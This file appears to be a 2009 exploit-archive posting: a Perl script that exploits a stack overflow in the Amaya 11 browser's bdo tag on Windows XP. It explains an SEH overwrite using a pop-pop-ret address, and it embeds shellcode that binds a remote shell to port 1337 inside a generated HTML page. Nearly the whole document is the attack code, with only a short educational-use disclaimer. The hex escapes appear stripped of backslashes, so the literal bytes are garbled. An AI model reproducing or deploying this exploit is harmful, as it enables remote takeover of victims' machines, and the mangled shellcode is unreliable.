amayaxp-overflow.txt
Posted on 05 February 2009
#!/usr/bin/perl ##################################################### # # Amaya 11 bdo tag remote stack overflow exploit # # author: Rob Carter (cartrel@hotmail.com) # # affects: winxp sp0-3 # # this vulnerability only allows hex bytes # between 0x01 and 0x7f to get to the stack # unchanged. overwrote SEH with compatible addr # of a pop pop ret, manipulated eax register # with instructions whose opcodes fell within # the acceptable range and then used a ret to # force eip to another memory range where the # payload was still intact, allowing me to use # standard metasploit shellcode with no special # encoders. # # i was able to get this working in sp2-3 VERY # easily because none of amaya's modules were # compiled with the /SAFESEH option so i was # able to just overwrite SEH with the address # of a pop pop ret in wxmsw2_2 (0x02101917) and # execution was returned to my shellcode. # # binds a shell to port 1337 of the victim # # $ perl amaya_sploit.pl > pwn.html # # the author is not responsible for any misuse of # this code. it is intended for educational # purposes only # ##################################################### $shellcode = "xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8bx45". "x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01xebx49". "x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07xc1xcax0d". "x01xc2xebxf4x3bx54x24x28x75xe5x8bx5fx24x01xebx66". "x8bx0cx4bx8bx5fx1cx01xebx03x2cx8bx89x6cx24x1cx61". "xc3x31xdbx64x8bx43x30x8bx40x0cx8bx70x1cxadx8bx40". "x08x5ex68x8ex4ex0execx50xffxd6x66x53x66x68x33x32". "x68x77x73x32x5fx54xffxd0x68xcbxedxfcx3bx50xffxd6". "x5fx89xe5x66x81xedx08x02x55x6ax02xffxd0x68xd9x09". "xf5xadx57xffxd6x53x53x53x53x53x43x53x43x53xffxd0". "x66x68x05x39x66x53x89xe1x95x68xa4x1ax70xc7x57xff". "xd6x6ax10x51x55xffxd0x68xa4xadx2exe9x57xffxd6x53". "x55xffxd0x68xe5x49x86x49x57xffxd6x50x54x54x55xff". "xd0x93x68xe7x79xc6x79x57xffxd6x55xffxd0x66x6ax64". "x66x68x63x6dx89xe5x6ax50x59x29xccx89xe7x6ax44x89". "xe2x31xc0xf3xaaxfex42x2dxfex42x2cx93x8dx7ax38xab". "xabxabx68x72xfexb3x16xffx75x44xffxd6x5bx57x52x51". "x51x51x6ax01x51x51x55x51xffxd0x68xadxd9x05xcex53". "xffxd6x6axffxffx37xffxd0x8bx57xfcx83xc4x64xffxd6". "x52xffxd0x68xf0x8ax04x5fx53xffxd6xffxd0"; $payload = "<bdo dir="". 'A' x 6889 . "x74x06x41x41". # jmp short 06 "x17x19x10x02". # 0x02101917 - pop pop ret in amaya module "x68x7fx01x01x7f". # push 7f01017f "x58". # pop eax "x2dx18x69x45x7d". # sub eax,7a7a0857 "x50". # push eax "xc3". # retn "x90" x 100 . $shellcode. "">pwnd!</bdo>"; print $payload;
